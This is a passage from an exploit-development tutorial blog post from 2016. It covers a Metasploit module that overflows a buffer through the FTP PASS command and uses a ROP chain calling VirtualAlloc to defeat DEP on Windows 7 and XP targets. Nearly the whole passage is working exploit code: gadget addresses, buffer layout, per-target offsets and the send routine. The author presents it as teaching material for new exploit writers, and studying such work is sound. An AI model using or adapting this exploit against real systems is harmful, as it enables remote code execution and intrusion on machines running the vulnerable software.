0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
0x5f418fac, # POP EAX # RETN
0xFFFFFEC0, # Value to EAX (-0x140)
0x5f465969, # NEG EAX # RETN
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
# Save returnTo
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# lpAddress (Address where start the DEP disabled)
0x5f418fac, # POP EAX # RETN
0xFFFFFDBE, # Value to EAX (-578 bytes (0x242))
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# dwSize (0x1FF)
0x5f418fac, # POP EAX # RETN
0xFFFFFE01, # Value to EAX (-0x1FF)
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flAllocationType (0x1000)
0x5f418fac, # POP EAX # RETN
0xFFFFF001, # -0xFFF (-0x1000 contains null bytes)
0x5f465969, # NEG EAX # RETN
0x5f4235b6, # INC EAX # RETN (0xFFF + 1 = 0x1000)
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flProtect (0x40)
0x5f418fac, # POP EAX # RETN
0xFFFFFFC0, # -0x40
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# Make ESP point to VirtualAlloc pointer on stack and RET
0x5f418fac, # POP EAX # RETN
0xFFFFFFEC, # -0x14 (value to substract to ECX)
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (eax -> ptr to VirtualAlloc)
0x41414141, # Filler to POP EDI
0x5f452c0f, # XCHG EAX,ESP # RETN
].flatten.pack(V*)
return rop_gadgets
end
# Connect to port, send the payload, handle it, disconnect
def exploit
size = 6000 # buffer size
move_esp = x81xc4xc0xfbxffxff # add esp,-440h
jmp_back = xe9x7dxfcxffxff # jmp $-37E
buffer = A * target['ShellCode_OffSet'] # Padding
buffer << move_esp
buffer << payload.encoded
buffer << B * (target['OffSet']-buffer.length) # This fills the buffer till EIP
buffer << [target.ret].pack('V') # EIP
buffer << create_rop_chain()
buffer << jmp_back
buffer << C * (size-buffer.length) # Padding to buffer size
request = PASS +buffer+rn
connect()
sock.get
sock.put(USER username rn)
sock.get
print_status(Sending evil buffer...)
sock.put(request)
handler()
disconnect()
end
end
Once everything is changed in the exploit file, just reload the module and execute again:
PWNED!!!! Once more!
Making it work with more Windows flavors
From ropfunc_offset.txt on Windows XP SP3 English:
0x5f49a1cc : kernel32!multibytetowidechar (0x7c809c98), offset to kernel32.dll.virtualalloc (0x7c809af1) : -423 (-0x00001a7)
We just need to make the exploit change the distance to VirtualAlloc on a target basis and the exploit should work.
For that, let’s define the distance in the target block for each operating system, and modify the create_rop_chain function to use this value.
Here is the Targets section modified:
'Targets' =>
[
['Windows 7 SP1 64bit Spanish',
{
'Ret' => 0x5f4011f2, #0x5f4011f2 : # RET [SLMFC.DLL]
'OffSet' => 4654,
'ShellCode_OffSet' => 4092,
'VAlloc_OffSet' => 0xffffff28, # Offset to VirtualAlloc -0xd8
}
],
['Windows XP SP3 English',
{
'Ret' => 0x5f4011f2, #0x5f4011f2 : # RET [SLMFC.DLL]
'OffSet' => 4654,
'ShellCode_OffSet' => 4092,
'VAlloc_OffSet' => 0xfffffe59, # Offset to VirtualAlloc -0x1a7
}
]
],
And here are the modifications to the rop chain:
def create_rop_chain()
# rop chain generated by Nacho Sorribas
rop_gadgets = [
# Put a valid pointer on EAX
0x5f48c086, # MOV EAX,ECX # RETN
#--- Save ESP into ECX
0x5f42F7dc,
0x41414141, # to pop esi
0x5f4011f2, # RET
0x41414141, # compensate retn 0x04
# Ptr to VirtualAlloc on EAX
0x5f418fac, # POP EAX # RETN
0x5f49a1cc, # PTR to kernel32.dll
0x5f488461, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x04
0x5f445803, # POP EDI # RETN
target['VAlloc_OffSet'], # Offset to VirtualAlloc
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
# Save the pointer to VirtualAlloc
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
0x5f418fac, # POP EAX # RETN
0xFFFFFEC0, # Value to EAX (-0x140)
0x5f465969, # NEG EAX # RETN
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
# Save returnTo
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# lpAddress (Address where start the DEP disabled)
0x5f418fac, # POP EAX # RETN
0xFFFFFDBE, # Value to EAX (-578 bytes (0x242))
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# dwSize (0x1FF)
0x5f418fac, # POP EAX # RETN
0xFFFFFE01, # Value to EAX (-0x1FF)
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flAllocationType (0x1000)
0x5f418fac, # POP EAX # RETN
0xFFFFF001, # -0xFFF (-0x1000 contains null bytes)
0x5f465969, # NEG EAX # RETN
0x5f4235b6, # INC EAX # RETN (0xFFF + 1 = 0x1000)
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flProtect (0x40)
0x5f418fac, # POP EAX # RETN
0xFFFFFFC0, # -0x40
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# Make ESP point to VirtualAlloc pointer on stack and RET
0x5f418fac, # POP EAX # RETN
0xFFFFFFEC, # -0x14 (value to substract to ECX)
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (eax -> ptr to VirtualAlloc)
0x41414141, # Filler to POP EDI
0x5f452c0f, # XCHG EAX,ESP # RETN
].flatten.pack(V*)
return rop_gadgets
end
And here is the configuration and execution against Windows XP.
PWNED!!!! For the last time?
We can adapt the exploit to other win32 systems by just looking for the offset between “multibytetowidechar” and “virtualalloc” on kernel32.dll module.
Conclusions
Writing exploits for buffer overflow vulnerabilities on win32 is not an easy journey, but if you are reading this now, I guess you find it easier now than at the beginning.
The idea of this post was to help people starting in the exploit development world to get the concepts and the ideas quickly, and to make the learning curve less steep. Of course any software, library, or exploit will have its own complexity. Some of the tips in this post may help, but in other scenarios the exploiter will need to figure out how to solve some problems we have not covered here.
Written by Nacho Sorribas
First published on 23/06/16